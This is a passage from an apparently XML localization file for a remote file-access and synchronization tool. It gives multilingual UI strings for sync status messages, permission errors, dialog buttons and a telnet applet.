<msg name="RECONNECT">
<en>Connection to the host computer has been lost.\\nDo you want to reconnect?</en>
<de>Die Verbindung zur Gegenstelle wurde unterbrochen. \\nMöchten Sie erneut verbinden?</de>
<es>Se ha perdido la conexión al ordenador host.\\n¿Desea volver a conectarse?</es>
<fr>La connexion à l'ordinateur distant a été interrompue.\\nVoulez-vous vous reconnecter ?</fr>
<it>La connessione al computer host non è più disponibile.\\nRiconnettersi?</it>
<ru>Соединение с данным хост-компьютером потеряно.\\nПодключиться снова?</ru>
<ja>ホスト コンピュータへの接続が切断されました。\\n再接続しますか?</ja>
<zh>已丢失到主机的连接。\\n是否要重新连接?</zh>
<ko>호스트 컴퓨터에 대한 연결이 끊어졌습니다.\\n다시 연결하시겠습니까?</ko>
<en-gb>Connection to the host computer has been lost.\\nDo you want to reconnect?</en-gb>
<hu>Elveszett a kapcsolat a gazdagéppel.\\nÚjracsatlakoztatja?</hu>
<pt-br>A conexão com o computador host foi perdida. \\nDeseja reconectar?</pt-br>
<nl>De verbinding met de hostcomputer is verbroken.\\nWilt u opnieuw een verbinding maken?</nl>
</msg>
<msg name="TRYAGAIN">
<en>Do yo want to try again?</en>
<de>Möchten Sie es noch einmal versuchen?</de>
<es>¿Desea volver a intentarlo?</es>
<fr>Voulez-vous réesseyer?</fr>
<it>Riprovare?</it>
<ru>Повторить попытку?</ru>
<ja>再試行しますか?</ja>
<zh>是否要再试一次?</zh>
<ko>다시 시도하시겠습니까?</ko>
<en-gb>Do you want to try again?</en-gb>
<hu>Megpróbálja ismét?</hu>
<pt-br>Deseja tentar novamente?</pt-br>
<nl>Wilt u het opnieuw proberen?</nl>
</msg>
<msg name="SYNCOK">
<en>Up to date: $1 files ($2)\\n</en>
<de>Aktualisiert: $1 Dateien ($2)\\n</de>
<es>Actualizar: $1 archivos ($2)\\n</es>
<fr>A jour: $1 fichiers($2)\\n</fr>
<it>Aggiorna: $1 file ($2)\\n</it>
<ru>Обновить: $1 файлов ($2)\\n</ru>
<ja>最新情報 :$1 ファイル ($2)\\n</ja>
<zh>最新:$1 文件 ($2)\\n</zh>
<ko>최신: $1 파일 ($2)\\n</ko>
<en-gb>Up to date: $1 files ($2)\\n</en-gb>
<hu>Aktualizált: $1 fájl ($2)\\n</hu>
<pt-br>Atualizar: $1 arquivos ($2)\\n</pt-br>
<nl>Bijgewerkt: $1 bestanden ($2)\\n</nl>
</msg>
<msg name="SYNCSYNC">
<en>Synchronize: $1 files ($2)\\n</en>
<de>Synchronisieren: $1 Dateien ($2)\\n</de>
<es>Sincronizar: $1 archivos ($2)\\n</es>
<fr>Synchronisation: $1 fichiers($2)\\n</fr>
<it>Sincronizza: $1 file ($2)\\n</it>
<ru>Синхронизовать: $1 файлов ($2)\\n</ru>
<ja>同期 :$1 ファイル ($2)\\n</ja>
<zh>同步:$1 文件 ($2)\\n</zh>
<ko>동기화: $1 파일 ($2)\\n</ko>
<en-gb>Synchronise: $1 files ($2)\\n</en-gb>
<hu>Szinkronizálás: $1 fájl ($2)\\n</hu>
<pt-br>Sincronizar: $1 arquivos ($2)\\n</pt-br>
<nl>Synchroniseren: $1 bestanden ($2)\\n</nl>
</msg>
<msg name="SYNCCOPY">
<en>Copy: $1 files ($2)\\n</en>
<de>Kopieren: $1 Dateien ($2)\\n</de>
<es>Copiar: $1 archivos ($2)\\n</es>
<fr>Copier: $1 fichiers($2)\\n</fr>
<it>Copia: $1 file ($2)\\n</it>
<ru>Скопировать: $1 файлов ($2)\\n</ru>
<ja>コピー :$1 ファイル ($2)\\n</ja>
<zh>复制:$1 文件 ($2)\\n</zh>
<ko>복사: $1 파일 ($2)\\n</ko>
<en-gb>Copy: $1 files ($2)\\n</en-gb>
<hu>Másolás: $1 fájl ($2)\\n</hu>
<pt-br>Copiar: $1 arquivos ($2)\\n</pt-br>
<nl>Kopiëren: $1 bestanden ($2)\\n</nl>
</msg>
<msg name="SYNCDEL">
<en>Delete: $1 files ($2)\\n</en>
<de>Löschen: $1 Dateien ($2)\\n</de>
<es>Eliminar: $1 archivos ($2)\\n</es>
<fr>Supprimer: $1 fichiers($2)\\n</fr>
<it>Elimina: $1 file ($2)\\n</it>
<ru>Удалить: $1 файлов ($2)\\n</ru>
<ja>削除 :$1 ファイル ($2)\\n</ja>
<zh>删除:$1 文件 ($2)\\n</zh>
<ko>삭제: $1 파일 ($2)\\n</ko>
<en-gb>Delete: $1 files ($2)\\n</en-gb>
<hu>Törlés: $1 fájl ($2)\\n</hu>
<pt-br>Excluir: $1 arquivos ($2)\\n</pt-br>
<nl>Verwijderen: $1 bestanden ($2)\\n</nl>
</msg>
<msg name="SYNCALLOK">
<en>All files are up to date.</en>
<de>Alle Dateien sind up to date.</de>
<es>Se han actualizado todos los archivos.</es>
<fr>Tous les fichiers sont à jour</fr>
<it>Tutti i file sono aggiornati.</it>
<ru>Все файлы обновлены.</ru>
<ja>すべてのファイルは更新されています。</ja>
<zh>所有文件都是最新的。</zh>
<ko>모든 파일이 최신입니다.</ko>
<en-gb>All files are up to date.</en-gb>
<hu>Minden fájl aktualizálva van.</hu>
<pt-br>Todos os arquivos foram atualizados.</pt-br>
<nl>Alle bestanden zijn bijgewerkt.</nl>
</msg>
<msg name="SYNCDENIED">
<en>You do not have write/delete permissions to the remote machine.\\nThese are required for replication.</en>
<de>Sie haben keine Berechtigung zum Schreiben/Löschen auf dem Remote-Computer.\\n
Diese Berechtigung ist für die Replikation erforderlich.</de>
<es>No tiene permiso para escribir/eliminar en el ordenador remoto.\\nSon necesarios para la réplica.</es>
<fr>Vous n'avez pas les droits écriture/suppression sur la machine distante.\\nCela est nécessaire pour dupliquer.</fr>
<it>Non si dispone delle autorizzazioni di scrittura/eliminazione per il computer remoto.\\nSono necessarie per la replica.</it>
<ru>У вас нет прав на запись или удаление на удаленном компьютере.\\nТакие разрешения требуются для репликации.</ru>
<ja>リモート マシンに対する書き込みや削除の権限がありません。\\nレプリケーションにはこれらの権限が必要です。</ja>
<zh>您没有对远程计算机的写入/删除权限。\\n这些是进行复制所必需的。</zh>
<ko>원격 컴퓨터에 대한 쓰기/삭제 권한이 없습니다.\\n이러한 권한은 복제에 필요합니다.</ko>
<en-gb>You do not have write/delete permissions to the remote machine.\\nThese are required for replication.</en-gb>
<hu>Önnek nincs írási/törlési engedélye a távoli géphez.\\nEzek a replikáláshoz szükségesek.</hu>
<pt-br>Você não tem permissões de gravação/exclusão na máquina remota. \\nElas são necessárias para a replicação.</pt-br>
<nl>U beschikt niet over de vereiste rechten om op de externe computer bestanden te schrijven of verwijderen.\\nDeze rechten zijn vereist als u wilt repliceren.</nl>
</msg>
<msg name="MERGEOK">
<en>Up to date: $1 files ($2)\\n</en>
<de>Up to date: $1 Dateien ($2)\\n</de>
<es>Actualizar: $1 archivos ($2)\\n</es>
<fr>A jour: $1 fichiers($2)\\n</fr>
<it>Aggiorna: $1 file ($2)\\n</it>
<ru>Обновить: $1 файлов ($2)\\n</ru>
<ja>最新情報 :$1 ファイル ($2)\\n</ja>
<zh>最新:$1 文件 ($2)\\n</zh>
<ko>최신: $1 파일 ($2)\\n</ko>
<en-gb>Up to date: $1 files ($2)\\n</en-gb>
<hu>Aktualizált: $1 fájl ($2)\\n</hu>
<pt-br>Atualizar: $1 arquivos ($2)\\n</pt-br>
<nl>Bijgewerkt: $1 bestanden ($2)\\n</nl>
</msg>
<msg name="MERGESYNCTO">
<en>Synchronize &gt;&gt;&gt; $1 files ($2)\\n</en>
<de>Synchronisieren &gt;&gt;&gt; $1 Dateien ($2)\\n</de>
<es>Sincronizar &gt;&gt;&gt; $1 archivos ($2)\\n</es>
<fr>Synchronisation &gt;&gt;&gt; $1 fichiers($2)\\n</fr>
<it>Sincronizza &gt;&gt;&gt; $1 file ($2)\\n</it>
<ru>Синхронизовать &gt;&gt;&gt; $1 файлов ($2)\\n</ru>
<ja>同期 &gt;&gt;&gt; $1 ファイル ($2)\\n</ja>
<zh>同步 &gt;&gt;&gt; $1 文件 ($2)\\n</zh>
<ko>&gt;&gt;&gt; $1 파일($2) 동기화\\n</ko>
<en-gb>Synchronise &gt;&gt;&gt; $1 files ($2)\\n</en-gb>
<hu>Szinkronizálás: &gt;&gt;&gt; $1 fájl ($2)\\n</hu>
<pt-br>Sincronizar &gt;&gt;&gt;$1 arquivos ($2)\\n</pt-br>
<nl>Synchroniseren &gt;&gt;&gt; $1 bestanden ($2)\\n</nl>
</msg>
<msg name="MERGESYNCFROM">
<en>Synchronize &lt;&lt;&lt; $1 files ($2)\\n</en>
<de>Synchronisieren &lt;&lt;&lt; $1 Dateien ($2)\\n</de>
<es>Sincronizar &lt;&lt;&lt; $1 archivos ($2)\\n</es>
<fr>Synchronisation &lt;&lt;&lt; $1 fichiers($2)\\n</fr>
<it>Sincronizza &lt;&lt;&lt; $1 file ($2)\\n</it>
<ru>Синхронизовать &lt;&lt;&lt; $1 файлов ($2)\\n</ru>
<ja>同期 &lt;&lt;&lt; $1 ファイル ($2)\\n</ja>
<zh>同步 &lt;&lt;&lt; $1 文件 ($2)\\n</zh>
<ko>&lt;&lt;&lt; $1 파일($2) 동기화\\n</ko>
<en-gb>Synchronise &lt;&lt;&lt; $1 files ($2)\\n</en-gb>
<hu>Szinkronizálás: &lt;&lt;&lt; $1 fájl ($2)\\n</hu>
<pt-br>Sincronizar &lt;&lt;&lt; arquivos ($2)\\n</pt-br>
<nl>Synchroniseren &lt;&lt;&lt; $1 bestanden ($2)\\n</nl>
</msg>
<msg name="MERGECOPYTO">
<en>Copy &gt;&gt;&gt; $1 files ($2)\\n</en>
<de>Kopieren &gt;&gt;&gt; $1 Dateien ($2)\\n</de>
<es>Copiar &gt;&gt;&gt; $1 archivos ($2)\\n</es>
<fr>Copie &gt;&gt;&gt; $1 fichiers($2)\\n</fr>
<it>Copia &gt;&gt;&gt; $1 file ($2)\\n</it>
<ru>Скопировать &gt;&gt;&gt; $1 файлов ($2)\\n</ru>
<ja>コピー &gt;&gt;&gt; $1 ファイル ($2)\\n</ja>
<zh>复制 &gt;&gt;&gt; $1 文件 ($2)\\n</zh>
<ko>&gt;&gt;&gt; $1 파일($2) 복사\\n</ko>
<en-gb>Copy &gt;&gt;&gt; $1 files ($2)\\n</en-gb>
<hu>Másolás: &gt;&gt;&gt; $1 fájl ($2)\\n</hu>
<pt-br>Copiar &gt;&gt;&gt;$1 arquivos ($2)\\n</pt-br>
<nl>Kopiëren &gt;&gt;&gt; $1 bestanden ($2)\\n</nl>
</msg>
<msg name="MERGECOPYFROM">
<en>Copy &lt;&lt;&lt; $1 files ($2)\\n</en>
<de>Kopieren &lt;&lt;&lt; $1 Dateien ($2)\\n</de>
<es>Copiar &lt;&lt;&lt; $1 archivos ($2)\\n</es>
<fr>Copy &lt;&lt;&lt; $1 fichiers($2)\\n</fr>
<it>Copia &lt;&lt;&lt; $1 file ($2)\\n</it>
<ru>Скопировать &lt;&lt;&lt; $1 файлов ($2)\\n</ru>
<ja>コピー &lt;&lt;&lt; $1 ファイル ($2)\\n</ja>
<zh>复制 &lt;&lt;&lt; $1 文件 ($2)\\n</zh>
<ko>&lt;&lt;&lt; $1 파일($2) 복사\\n</ko>
<en-gb>Copy &lt;&lt;&lt; $1 files ($2)\\n</en-gb>
<hu>Másolás: &lt;&lt;&lt; $1 fájl ($2)\\n</hu>
<pt-br>Copiar &lt;&lt;&lt; $1 arquivos ($2)\\n</pt-br>
<nl>Kopiëren &lt;&lt;&lt; $1 bestanden ($2)\\n</nl>
</msg>
<msg name="MERGEALLOK">
<en>The folders are already equal.</en>
<de>Die Ordner sind bereits abgeglichen.</de>
<es>Las carpetas ya son iguales.</es>
<fr>Les dossiers sont déjà équivalant</fr>
<it>Le cartelle sono già uguali.</it>
<ru>Папки уже одинаковы.</ru>
<ja>これらのフォルダは既に等しくなっています。</ja>
<zh>这些文件夹已等效。</zh>
<ko>폴더가 이미 동일합니다.</ko>
<en-gb>The folders are already equal.</en-gb>
<hu>A könyvtárak már egyezők.</hu>
<pt-br>As pastas já são iguais.</pt-br>
<nl>De mappen zijn reeds identiek.</nl>
</msg>
<msg name="MERGEDENIED">
<en>You do not have write/delete permissions to the remote machine.\\nThese are required for synchronization.</en>
<de>Sie haben keine Berechtigungen zum Schreiben auf dem Remote-Computer.\\n
Diese Berechtigung ist für das Synchronisieren erforderlich.</de>
<es>No tiene permiso para escribir/eliminar en el ordenador remoto.\\nSon necesarios para la sincronización.</es>
<fr>Vous n'avez pas les droits écriture/suppression sur la machine distante.\\nCela est nécessaire pour la synchronisation.</fr>
<it>Non si dispone delle autorizzazioni di scrittura/eliminazione per il computer remoto.\\nSono necessarie per la sincronizzazione.</it>
<ru>У вас нет прав на запись или удаление на удаленном компьютере.\\nТакие разрешения требуются для синхронизации.</ru>
<ja>リモート マシンに対する書き込みや削除の権限がありません。\\n同期にはこれらの権限が必要です。</ja>
<zh>您没有对远程计算机的写入/删除权限。\\n这些是进行同步所必需的。</zh>
<ko>원격 컴퓨터에 대한 쓰기/삭제 권한이 없습니다.\\n이러한 권한은 동기화에 필요합니다.</ko>
<en-gb>You do not have write/delete permissions to the remote machine.\\nThese are required for synchronisation.</en-gb>
<hu>Önnek nincs írási/törlési engedélye a távoli géphez.\\nEzek a szinkronizáláshoz szükségesek.</hu>
<pt-br>Você não tem permissões de gravação/exclusão na máquina remota. \\nElas são necessárias para a sincronização.</pt-br>
<nl>U beschikt niet over de vereiste rechten om op de externe computer bestanden te schrijven of verwijderen.\\nDeze rechten zijn vereist als u wilt synchroniseren.</nl>
</msg>
<msg name="MERGEDIRCONFLICT">
<en>[$1] $2\\nis a directory and\\n[$3] $4\\nis a file.\\n\\nDo you want the file to be renamed for synchronization?\\n(The name of the file will be prefixed with an underscore to differ from the directory name.)</en>
<de>[$1] $2\\nist  ein Verzeichnis und\\n[$3] $4\\nist eine Datei.\\n\\nWollen Sie, dass die Datei für die Synchronisation umbenannt wird?\\n(Dem Namen der Datei wird ein Unterstrich vorangestellt, um ihn vom Verzeichnisnamen unterscheiden zu können.)</de>
<es>[$1] $2\\nes un directorio y\\n[$3] $4\\nes un archivo.\\n\\n¿Desea cambiar el nombre del archivos para su sincronización?\\n(El nombre del archivo irá precedido de un guión bajo para diferenciarlo del nombre del directorio.)</es>
<fr>[ $1 ] $2\\nis un dossier et\\n[$3 ] $4\\nis un fichier.\\n\\nVoulez-vous que le fichier soit renommer pour la synchronisation?\\n(Le nom du fichier se composera d'un préfixe de soulignage (underscore) pour être différent du nom du dossier.)</fr>
<it>[$1] $2\\nè una directory e\\n[$3] $4\\nè un file.\\n\\nSi desidera rinominare il file per la sincronizzazione?\\n(Il nome del file verrà preceduto da un carattere di sottolineatura per differenziarlo dal nome della directory).</it>
<ru>[$1] $2\\nявляется каталогом, а\\n[$3] $4\\n- файлом.\\n\\nХотите переименовать файл в целях синхронизации?\\n(Перед именем файла ставится знак подчеркивания, чтобы отличать его от имени каталога.)</ru>
<ja>[$1] $2\\nはディレクトリで、\\n[$3] はファイルです。\\n\\n同期のためにファイルの名前を変更しますか?\\n(ファイル名には、ディレクトリ名と区別するために先頭にアンダバーが付けられます。)</ja>
<zh>[$1] $2\\n是一个目录,而\\n[$3] $4\\n是一个文件。\\n\\n是否要为同步重命名文件?\\n(文件名将附带下划线前缀,以与目录名相区别。)</zh>
<ko>[$1] $2\\n은(는) 디렉터리이고\\n[$3] $4\\n은(는) 파일입니다.\\n\\n동기화를 위해 파일 이름을 바꾸시겠습니까?\\n(파일 이름은 디렉터리 이름과 구별하기 위해 맨 앞에 밑줄이 추가됩니다.)</ko>
<en-gb>[$1] $2\\nis a directory and\\n[$3] $4\\nis a file.\\n\\nDo you want the file to be renamed for synchronisation?\\n(The name of the file will be prefixed with an underscore to differ from the directory name.)</en-gb>
<hu>A(z) [$1] $2\\negy könyvtár és a(z) \\n[$3] $4\\negy fájl.\\n\\nÁt szeretné nevezni a fájlt a szinkronizáláshoz?\\n(A fájl neve egy alulvonás előtagot fog kapni, hogy különbözzék a könyvtár nevétől.)</hu>
<pt-br>[$1] $2\\né um diretório e \\n[$3] $4\\né um arquivo.\\n\\nDeseja renomear o arquivo para sincronização?\\n(O nome do arquivo será prefixado com um sublinhado para diferenciá-lo do nome do diretório.)</pt-br>
<nl>[$1] $2\\nis een map en\\n[$3] $4\\nis een bestand.\\n\\nWilt u de naam van het bestand wijzigen om het te synchroniseren?\\n(De naam van het bestand zal worden voorafgegaan door een liggend streepje om het van de mapnaam te onderscheiden.)</nl>
</msg>
</cat>
<!-- answers (dialog button titles) -->
<!-- &amp; denotes shortcut key	 -->
<cat name="A">
<msg name="YES">
<en>&amp;Yes</en>
<de>&amp;Ja</de>
<es>&amp;Sí</es>
<fr>&amp;Oui</fr>
<it>&amp;Sì</it>
<ru>&amp;Да</ru>
<ja>&amp;はい</ja>
<zh>是(&amp;Y)</zh>
<ko>예(&amp;Y)</ko>
<en-gb>&amp;Yes</en-gb>
<hu>&amp;Igen</hu>
<pt-br>&amp;Sim</pt-br>
<nl>&amp;Ja</nl>
</msg>
<msg name="OK">
<en>&amp;OK</en>
<de>&amp;OK</de>
<es>&amp;Aceptar</es>
<fr>&amp;OK</fr>
<it>&amp;OK</it>
<ru>&amp;OK</ru>
<ja>&amp;OK</ja>
<zh>确定(&amp;O)</zh>
<ko>확인(&amp;O)</ko>
<en-gb>&amp;OK</en-gb>
<hu>&amp;OK</hu>
<pt-br>&amp;OK</pt-br>
<nl>&amp;OK</nl>
</msg>
<msg name="NO">
<en>&amp;No</en>
<de>&amp;Nein</de>
<es>&amp;No</es>
<fr>&amp;Non</fr>
<it>&amp;No</it>
<ru>&amp;Нет</ru>
<ja>&amp;いいえ</ja>
<zh>否(&amp;N)</zh>
<ko>아니오(&amp;N)</ko>
<en-gb>&amp;No</en-gb>
<hu>&amp;Nem</hu>
<pt-br>&amp;Não</pt-br>
<nl>&amp;Nee</nl>
</msg>
<msg name="YES.ALL">
<en>Yes to &amp;All</en>
<de>Ja, &amp;alle</de>
<es>Sí a &amp;todo</es>
<fr>Oui à &amp;Tous</fr>
<it>Sì &amp;tutti</it>
<ru>Да для &amp;всех</ru>
<ja>すべてにはい(&amp;A)</ja>
<zh>全是(&amp;A)</zh>
<ko>모두 예(&amp;A)</ko>
<en-gb>Yes to &amp;All</en-gb>
<hu>Igen &amp;mindre</hu>
<pt-br>Sim para &amp;Todos</pt-br>
<nl>Ja op &amp;alles</nl>
</msg>
<msg name="NO.ALL">
<en>No to A&amp;ll</en>
<de>Nein, a&amp;lle</de>
<es>No a t&amp;odo</es>
<fr>Non à T&amp;ous</fr>
<it>No n&amp;essuno</it>
<ru>Нет для в&amp;сех</ru>
<ja>すべてにいいえ(&amp;L)</ja>
<zh>全否(&amp;L)</zh>
<ko>모두 아니오(&amp;L)</ko>
<en-gb>No to A&amp;ll</en-gb>
<hu>&amp;Egyiket sem</hu>
<pt-br>Não para T&amp;odos</pt-br>
<nl>Nee op a&amp;lles</nl>
</msg>
<msg name="CANCEL">
<en>&amp;Cancel</en>
<de>&amp;Abbrechen</de>
<es>&amp;Cancelar</es>
<fr>&amp;Annuler</fr>
<it>&amp;Annulla</it>
<ru>&amp;Отмена</ru>
<ja>取り消し(&amp;C)</ja>
<zh>取消(&amp;C)</zh>
<ko>취소(&amp;C)</ko>
<en-gb>&amp;Cancel</en-gb>
<hu>&amp;Mégse</hu>
<pt-br>&amp;Cancelar</pt-br>
<nl>Ann&amp;uleren</nl>
</msg>
<msg name="OVERWRITE">
<en>&amp;Overwrite</en>
<de>&amp;Überschreiben</de>
<es>&amp;Sobrescribir</es>
<fr>&amp;Ecraser</fr>
<it>S&amp;ovrascrivi</it>
<ru>&amp;Перезаписать</ru>
<ja>上書き(&amp;O)</ja>
<zh>覆盖(&amp;O)</zh>
<ko>&amp;덮어쓰기</ko>
<en-gb>&amp;Overwrite</en-gb>
<hu>&amp;Felülírás</hu>
<pt-br>&amp;Substituir</pt-br>
<nl>O&amp;verschrijven</nl>
</msg>
<msg name="OVERWRITE.ALL">
<en>Over&amp;write All</en>
<de>Alle Über&amp;schreiben</de>
<es>Sobres&amp;cribir todo</es>
<fr>Ecra&amp;ser Tous</fr>
<it>So&amp;vrascrivi tutto</it>
<ru>Пере&amp;записать все</ru>
<ja>すべて上書き(&amp;W)</ja>
<zh>全部覆盖(&amp;W)</zh>
<ko>모두 덮어쓰기(&amp;W)</ko>
<en-gb>Over&amp;write All</en-gb>
<hu>Minde&amp;t felülírja</hu>
<pt-br>S&amp;ubstituir tudo</pt-br>
<nl>Alles overs&amp;chrijven</nl>
</msg>
<msg name="RESUME">
<en>&amp;Resume</en>
<de>&amp;Fortsetzen</de>
<es>&amp;Restaurar</es>
<fr>&amp;Arrêter</fr>
<it>&amp;Riprendi</it>
<ru>&amp;Возобновить</ru>
<ja>レジューム(&amp;R)</ja>
<zh>恢复(&amp;R)</zh>
<ko>다시 시작(&amp;R)</ko>
<en-gb>&amp;Resume</en-gb>
<hu>F&amp;olytat</hu>
<pt-br>&amp;Tentar novamente</pt-br>
<nl>&amp;Hervatten</nl>
</msg>
<msg name="RESUME.ALL">
<en>Resume A&amp;ll</en>
<de>All&amp;e Fortsetzen</de>
<es>Restaurar t&amp;odo</es>
<fr>Arrêter T&amp;ous</fr>
<it>Riprendi t&amp;utto</it>
<ru>Возобновить для в&amp;сех</ru>
<ja>すべてレジューム(&amp;L)</ja>
<zh>全部恢复(&amp;L)</zh>
<ko>모두 다시 시작(&amp;L)</ko>
<en-gb>Resume A&amp;ll</en-gb>
<hu>Mindet Fo&amp;lytatja</hu>
<pt-br>R&amp;etomar todos</pt-br>
<nl>Alles he&amp;rvatten</nl>
</msg>
<msg name="SKIP">
<en>&amp;Skip</en>
<de>Übersprin&amp;gen</de>
<es>&amp;Saltar</es>
<fr>&amp;Passer</fr>
<it>&amp;Ignora</it>
<ru>&amp;Пропустить</ru>
<ja>スキップ(&amp;S)</ja>
<zh>跳过(&amp;S)</zh>
<ko>건너뛰기(&amp;S)</ko>
<en-gb>&amp;Skip</en-gb>
<hu>&amp;Kihagy</hu>
<pt-br>&amp;Ignorar</pt-br>
<nl>Ov&amp;erslaan</nl>
</msg>
<msg name="SKIP.ALL">
<en>Skip &amp;All</en>
<de>Alle Übers&amp;pringen</de>
<es>Saltar &amp;todo</es>
<fr>Passer &amp;Tous</fr>
<it>Ignora &amp;tutto</it>
<ru>Пропустить &amp;все</ru>
<ja>すべてスキップ(&amp;A)</ja>
<zh>全部跳过(&amp;A)</zh>
<ko>모두 건너뛰기(&amp;A)</ko>
<en-gb>Skip &amp;All</en-gb>
<hu>Mindet Kih&amp;agyja</hu>
<pt-br>Ignorar &amp;tudo</pt-br>
<nl>Alles &amp;overslaan</nl>
</msg>
<msg name="RETRY">
<en>&amp;Retry</en>
<de>&amp;Wiederholen</de>
<es>&amp;Reintentar</es>
<fr>&amp;Réessayer</fr>
<it>&amp;Riprova</it>
<ru>&amp;Повторить</ru>
<ja>再試行(&amp;R)</ja>
<zh>重试(&amp;R)</zh>
<ko>다시 시도(&amp;R)</ko>
<en-gb>&amp;Retry</en-gb>
<hu>&amp;Ismét</hu>
<pt-br>&amp;Tentar novamente</pt-br>
<nl>&amp;Herhalen</nl>
</msg>
<msg name="SAVE">
<en>&amp;Transfer Updated File</en>
<de>und Aktualisierte Datei übertragen</de>
<es>y transferir archivo actualizado.</es>
<fr>&amp;Transférer le fichier mis à jour</fr>
<it>&amp;Trasferisci file aggiornato</it>
<ru>Передать обновленный файл</ru>
<ja>&amp;アップデートしたファイルを転送</ja>
<ko>업데이트된 파일 전송(&amp;T)</ko>
<hu>&amp;Módosított fájl átvitele</hu>
<pt-br>e transferir arquivo atualizado</pt-br>
<zh>和传输更新的文件</zh>
<nl>&amp;Bijgewerkt bestand overdragen</nl>
</msg>
<msg name="DISCARD">
<en>&amp;Cancel</en>
<de>&amp;Abbrechen</de>
<es>&amp;Cancelar</es>
<fr>&amp;Annuler</fr>
<it>&amp;Annulla</it>
<ru>&amp;Отмена</ru>
<ja>取り消し(&amp;C)</ja>
<zh>取消(&amp;C)</zh>
<ko>취소(&amp;C)</ko>
<en-gb>&amp;Cancel</en-gb>
<hu>&amp;Mégse</hu>
<pt-br>&amp;Cancelar</pt-br>
<nl>Ann&amp;uleren</nl>
</msg>
</cat>
<msg name="CONNDLG.ICON.OK">
<en>The remote file system is now accessible.</en>
<de>Das Remote Dateisystem ist jetzt verfügbar.</de>
<es>No se puede acceder al sistema remoto de archivos.</es>
<fr>Le système de fichiers distant est présent accessible.</fr>
<it>Il file system remoto è ora accessibile.</it>
<ru>Теперь данная удаленная файловая система доступна.</ru>
<ja>リモート ファイル システムは現在アクセス可能です。</ja>
<zh>现在可以访问远程文件系统。</zh>
<ko>지금 원격 파일 시스템에 액세스할 수 있습니다.</ko>
<en-gb>The remote file system is now accessible.</en-gb>
<hu>A távoli fájlrendszer most már elérhető.</hu>
<pt-br>O sistema de arquivos remoto agora está acessível.</pt-br>
<nl>Het externe bestandssysteem is nu beschikbaar voor toegang.</nl>
</msg>
</cat>
<!-- telnet applet messages -->
<!-- do not replace FAIL\n, MSG\n in localized versions -->
<cat name="TELNET">
<msg name="TITLE">
<en>Command Prompt</en>
<de>Eingabeaufforderung</de>
<es>Prompt de comando</es>
<fr>Prompt de Commande</fr>
<it>Prompt dei comandi</it>
<ru>Приглашение на ввода команды</ru>
<ja>コマンド プロンプト</ja>
<zh>命令提示</zh>
<ko>명령 프롬프트</ko>
<en-gb>Command Prompt</en-gb>
<hu>Parancssor</hu>
<pt-br>Prompt de comando</pt-br>
<nl>Opdrachtprompt</nl>
</msg>
<msg name="DESC">
<en>Text-based access to the operating system via terminal.</en>
<de>Textbasierter Zugriff auf das Betriebssystem über das Terminal.</de>
<es>Acceso basado en texto al sistema operativo mediante el terminal.</es>
<fr>Accès en mode texte au système d’exploitation par un terminal.</fr>
<it>Accesso al sistema operativo basato su testo tramite terminale.</it>
<ru>Доступ к операционной системе через текстовый терминал.</ru>
<ja>端末からテキスト入力でオペレーティング システムにアクセスします。</ja>
<zh>通过终端对操作系统进行基于文本的访问。</zh>
<ko>터미널을 통한 운영 체제에 대한 텍스트 기반 액세스.</ko>
<en-gb>Text-based access to the operating system via terminal.</en-gb>
<hu>Az operációs rendszernek terminálon keresztül küldhető, szöveges parancsok.</hu>
<pt-br>Acesso com base em texto ao sistema operacional via terminal.</pt-br>
<nl>Tekstgebaseerde toegang tot het besturingssysteem via terminal.</nl>
</msg>
<msg name="HTMLBASED">
<en>HTML based</en>
<de>HTML basierend</de>
<es>Basado en HTML</es>
<fr>Version HTML</fr>
<it>Basato su HTML</it>
<ru>На основе HTML</ru>
<ja>HTML ベース</ja>
<zh>基于 HTML</zh>
<ko>HTML 기반</ko>
<en-gb>HTML based</en-gb>
<hu>HTML alapú</hu>
<pt-br>Baseado em HTML</pt-br>
<nl>HTML-gebaseerd</nl>
</msg>
<msg name="JAVABASED">
<en>Java based</en>
<de>Java basierend</de>
<es>Basado en Java</es>
<fr>Version Java</fr>
<it>Basato su Java</it>
<ru>На основе Java</ru>
<ja>Java ベース</ja>
<zh>基于 Java</zh>
<ko>Java 기반</ko>
<en-gb>Java based</en-gb>
<hu>Java alapú</hu>
<pt-br>Baseado em java</pt-br>
<nl>Java-gebaseerd</nl>
</msg>
<msg name="CLIENTNAME">
<en>Telnet Client</en>
<de>Telnet Client</de>
<es>Cliente Telnet</es>
<fr>Client Telnet</fr>
<it>Client Telnet</it>
<ru>Telnet-клиент</ru>
<ja>Telnet クライアント</ja>
<zh>Telnet 客户端</zh>
<ko>텔넷 클라이언트</ko>
<en-gb>Telnet Client</en-gb>
<hu>Telnet kliensprogram</hu>
<pt-br>Cliente Telnet</pt-br>
<nl>Telnet-client</nl>
</msg>
<msg name="SEND">
<en>Send</en>
<de>Senden</de>
<es>Enviar</es>
<fr>Envoyer</fr>
<it>Invia</it>
<ru>Отправить</ru>
<ja>送信</ja>
<zh>发送</zh>
<ko>보내기</ko>
<en-gb>Send</en-gb>
<hu>Küldés</hu>
<pt-br>Enviar</pt-br>
<nl>Verzenden</nl>
</msg>
<msg name="SENDENTER">
<en>Send with Enter</en>
<de>Senden mit Eingabetaste</de>
<es>Enviar con Enter</es>
<fr>Envoaer avec Entrer</fr>
<it>Spedisci con tasto Invio</it>
<ru>Отправить с помощью клавиши Enter</ru>
<ja>ENTER キーで送信</ja>
<zh>使用 Enter 键发送</zh>
<ko>Enter 키를 눌러 보내기</ko>
<en-gb>Send with Enter</en-gb>
<hu>Küldés Enterrel</hu>
<pt-br>Enviar com Enter</pt-br>
<nl>Verzenden met Enter</nl>
</msg>
<msg name="CTRLC">
<en>CTRL-C</en>
<de>Strg-C</de>
<es>Ctrl-C</es>
<fr>CTRL-C</fr>
<it>CTRL-C</it>
<ru>CTRL-C</ru>
<ja>CTRL-C</ja>
<zh>CTRL-C</zh>
<ko>CTRL-C</ko>
<en-gb>CTRL-C</en-gb>
<hu>CTRL-C</hu>
<pt-br>CTRL-C</pt-br>
<nl>Ctrl-C</nl>
</msg>
<msg name="CTRLB">
<en>CTRL-Break</en>
<de>Strg-Untbr</de>
<es>Ctrl-Pausa</es>
<fr>CTRL-Break</fr>
<it>CTRL-Interr</it>
<ru>CTRL-Break</ru>
<ja>CTRL-Break</ja>
<zh>CTRL-Break</zh>
<ko>CTRL-Break</ko>
<en-gb>CTRL-Break</en-gb>
<hu>CTRL-Break</hu>
<pt-br>CTRL-Break</pt-br>
<nl>Ctrl-Break</nl>
</msg>
<!-- error messages -->
<msg name="NORIGHTS">
<en>FAIL\n
You do not have the rights to telnet to this computer.\n\n
</en>
<de>FAIL\n
